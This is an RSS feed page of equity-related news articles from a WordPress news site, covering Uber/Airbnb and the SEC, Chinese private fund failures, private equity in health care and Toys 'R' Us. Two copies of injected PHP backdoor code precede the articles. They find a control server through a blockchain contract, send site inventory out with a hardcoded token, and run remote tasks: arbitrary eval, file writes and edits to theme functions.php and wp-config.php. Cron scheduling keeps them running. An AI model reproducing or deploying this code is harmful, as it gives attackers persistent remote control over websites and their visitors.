// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); equity – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 16 Oct 2018 13:31:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png equity – Brief News https://briefnews.eu 32 32 Tech firms to SEC: We want the option to pay non-employee workers in equity https://briefnews.eu/tech-firms-to-sec-we-want-the-option-to-pay-non-employee-workers-in-equity/ https://briefnews.eu/tech-firms-to-sec-we-want-the-option-to-pay-non-employee-workers-in-equity/#respond Tue, 16 Oct 2018 13:31:05 +0000 http://briefnews.eu/tech-firms-to-sec-we-want-the-option-to-pay-non-employee-workers-in-equity/
Tech firms to SEC: We want the option to pay non-employee workers in equity

Enlarge (credit: Guillaume Payen/SOPA Images/LightRocket via Getty Images)

In recent weeks, both Uber and Airbnb have sent formal letters to the Securities and Exchange Commission, asking the regulatory agency to expand efforts that would allow drivers and hosts to also be paid in company shares. Exactly how this would work in practice remains unclear.

The move comes nearly three months after the SEC asked for public comment in a proposed revision to “Rule 701,” which currently requires that anyone paid in stock be an investor or an employee. Those directly involved in the “gig” or “sharing” economies are generally not considered to be employees and so, for now, are ineligible for this arrangement.

In fact, Uber told the SEC that it prefers the term “entrepreneurial economy“—odd, given that Uber drivers have no ability to set their own price. Uber also refers to its drivers as “driver partners,” suggesting that those behind the wheel have more power than they do in actuality.

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]]> https://briefnews.eu/tech-firms-to-sec-we-want-the-option-to-pay-non-employee-workers-in-equity/feed/ 0 Indigenous patients still waiting for equity in health-care system: CMA health summit https://briefnews.eu/indigenous-patients-still-waiting-for-equity-in-health-care-system-cma-health-summit/ https://briefnews.eu/indigenous-patients-still-waiting-for-equity-in-health-care-system-cma-health-summit/#respond Tue, 21 Aug 2018 01:48:51 +0000 http://briefnews.eu/indigenous-patients-still-waiting-for-equity-in-health-care-system-cma-health-summit/ Dr. Alika Lafontaine

Hundreds of health professionals from across the country have heard how Indigenous patients are still waiting for equitable access to treatment.

]]> https://briefnews.eu/indigenous-patients-still-waiting-for-equity-in-health-care-system-cma-health-summit/feed/ 0 China's New Rules Spark Private Equity Collapse https://briefnews.eu/chinas-new-rules-spark-private-equity-collapse/ https://briefnews.eu/chinas-new-rules-spark-private-equity-collapse/#respond Mon, 13 Aug 2018 06:57:35 +0000 http://briefnews.eu/chinas-new-rules-spark-private-equity-collapse/ Chinese alternative asset managers have become the latest casualty of the country’s crackdown on debt and financial risk, with a record number of private equity and hedge funds dissolving in recent months as new regulations limit their fundraising.

In the first six months of this year, the Asset Management Association of China (Amac) — a government-controlled industry body — “lost contact” with 163 private fund institutions, more than 70 percent of the total for which contact was lost for 2017. The “lost contact” designation refers to private funds that have failed to renew their registration status with the association every three months as required. While some have simply wound down, others have failed to meet promised investor payouts or even disappeared with investors’ money.

Of these 163 private funds, more than 70 percent are private equity or venture capital funds, according to an analysis of Amac data by National Business Daily, a Shanghai-based newspaper. The others are mostly hedge funds that invest in publicly traded securities.

The new asset management rules delivered a strong blow to the industry.

Wang Bo, private equity fund research director, Noah Holdings

The government launched a “regulatory windstorm” last year to control excessive debt growth. Rules specifically targeting asset managers have limited the ability of banks to partner with nonbank financial institutions to manage clients’ money.

“The new asset management rules delivered a strong blow to the industry,” says Wang Bo, director of private equity fund research at Noah Holdings, a wealth management service provider based in Shanghai. “They can no longer raise funds. This started in late 2016, and it has got steadily worse.”

Though assets under management at private funds have continued to rise, the pace of increase has slowed. Problems in China’s peer-to-peer lending sector — where scores of platforms collapsed in recent weeks — have also spilled over into private funds. Several of the “lost contact” funds belong to broader groups that also operated one of the dozens of peer-to-peer platforms under police investigation.

screen shot 2018 08 10 at 12.38.34 am

Some of the “lost contact” funds have also allegedly engaged in fraud directly. Late last month, protesters converged on a branch of Bank of Shanghai to demand repayment from four different private fund institutions owned by Fuxing Group, a conglomerate with businesses ranging from property to asset management to rare earths. Fuxing’s controlling shareholder has fled, according to a statement by Amac, which said it “attached high importance” to the case. Unverified reports indicated that the amount of the investment was as much as RMB 25 billion ($ 3.7 billion). Fuxing could not be reached for comment. Protesters claimed that Bank of Shanghai had sold them the products; the bank responded that it had not sold these fund products but had only served as custodian.

Unlike alternative asset managers in the West, which market themselves directly to institutional investors and wealthy individuals, Chinese private funds rely heavily on banks to sell their products. In previous cases, rogue bank employees sold products without authorization. Last year, the banking regulator began requiring financial institutions to make video and audio recordings of all product sales.

New regulations targeting excessive complexity in the design of wealth management products have also fallen heavily on private funds. The rules forbid opaque, derivative-like “nesting” structures in which the product sold to investors is composed of other products, with underlying assets buried beneath layers of complexity.

“The prohibition on multilayer nesting had a direct impact on private funds, especially those that relied on fund mandates from banks,” says Xu Li, private equity analyst at Licai, a wealth management consultancy in Beijing.

+

By Gabriel Wildau and Yizhen Jia

OZY partners with the U.K.’s Financial Times to bring you premium analysis and features. © The Financial Times Limited 2018.

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]]> https://briefnews.eu/chinas-new-rules-spark-private-equity-collapse/feed/ 0 Private equity is piling into health care https://briefnews.eu/private-equity-is-piling-into-health-care/ https://briefnews.eu/private-equity-is-piling-into-health-care/#respond Thu, 26 Jul 2018 22:08:05 +0000 http://briefnews.eu/private-equity-is-piling-into-health-care/

LAST month KKR, a private-equity firm, announced that it would buy Envision Healthcare, one of America’s largest providers of doctors to hospitals. The deal was valued at $ 9.9bn, including debt. If shareholders agree to the sale, it will be the largest in a string of health-care investments by KKR, including an ambulance service, a company that helps treat children with autism and a maker of medical devices.

“Ten years ago only a few private-equity houses had dedicated health-care teams,” says Dmitry Podpolny of McKinsey, a consultancy. “Today nearly everyone does.” Last year saw a frenzy of deal activity, the highest by value since the go-go year of 2007.

Private-equity funds are not the only ones keen on the industry. Institutional investors, tech-focused funds, generalist asset managers and corporate buyers are sniffing around, too. As they chase a limited number of targets, they are pushing up prices. Not high enough to dampen interest, however: health care is loved by…

]]> https://briefnews.eu/private-equity-is-piling-into-health-care/feed/ 0 How Private Equity Helped Kill Toys ‘R’ Us https://briefnews.eu/how-private-equity-helped-kill-toys-r-us/ https://briefnews.eu/how-private-equity-helped-kill-toys-r-us/#respond Wed, 13 Jun 2018 15:51:10 +0000 http://briefnews.eu/how-private-equity-helped-kill-toys-r-us/
Rebekka Dunlap

Ann Marie Reinhart was one of the first people to learn that Toys “R” Us was shuttering her store. She was supervising the closing shift at the Babies “R” Us in Durham, North Carolina, when her manager gave her the news. “I was almost speechless,” she told me recently. Twenty-nine years ago, Reinhart was a new mother buying diapers in a Toys “R” Us when she saw a now hiring sign. She applied and was offered a job on the spot. She eventually became a human-resources manager and then a store supervisor.

She stayed because the company treated her well, accommodating her schedule. She got good benefits: health insurance, a 401(k). But she noticed a difference after the private-equity firms Bain Capital and Kohlberg Kravis Roberts, along with the real-estate firm Vornado Realty Trust, took over Toys “R” Us in 2005. “It changed the dynamic of how the store ran,” she said. The company eliminated positions, loading responsibilities onto other workers. Schedules became unpredictable. Employees had to pay more for fewer benefits, Reinhart recalled. (Bain and KKR declined to comment; Vornado did not respond to requests for comment.)

Reinhart’s store closed for good on April 3. She was granted no severance—like the more than 30,000 other employees who are losing their job with the company.

In March, Toys “R” Us announced that it was liquidating all of its U.S. stores as part of its bankruptcy process, which began last September. Observers pointed to the company’s struggle to fight off new competition. In its court filing, the company laid the blame at the feet of Amazon, Walmart, and Target, saying it “could not compete” when they priced toys so low.

Less attention was paid to the albatross that Bain, KKR, and Vornado had placed around the company’s neck. Toys “R” Us had a debt load of $ 1.86 billion before it was bought out. Immediately after the deal, it shouldered more than $ 5 billion in debt. And though sales had slumped before the deal, they held relatively steady after it, even when the Great Recession hit. The company generated $ 11.2 billion in sales in the 12 months before the deal; in the 12 months before November 2017, it generated $ 11.1 billion.

Saddled with its new debt, however, Toys “R” Us had less flexibility to innovate. By 2007, according to Bloomberg, interest expense consumed 97 percent of the company’s operating profit. It had few resources left to upgrade its stores in order to compete with Target, or to spiff up its website in order to contend with Amazon. “It’s true that they couldn’t respond to Amazon,” Eileen Appelbaum, a co-director of the Center for Economic and Policy Research, told me. “But you have to ask yourself why.”

Shortly after the buyout, the company’s CEO implemented a plan to combine and remodel Toys “R” Us and Babies “R” Us locations. Customers liked the changes, but the company was able to revamp only 146 of its more than 1,500 stores by 2010. By that point, it was facing the effects of the Great Recession. Most retail operations try to keep their debt burden low to be ready for an inevitable downturn; when you sell a product as discretionary as toys, a recession can hit particularly hard. Thomas Paulson, the founder of the investment firm Inflection Capital Management, which focuses on companies that serve consumers, told me that when the retail landscape shifts, a company may need to make investments and even adapt its business model to stay afloat. If it’s already carrying significant debt, it’s “really handcuffed,” he said. “That’s what happened with Toys “R” Us.”

Josh Kosman, the author of The Buyout of America, agrees: “All it takes is for earnings to stop rising and level off, or even decline a little bit, and you’re in a whole heap of trouble.”

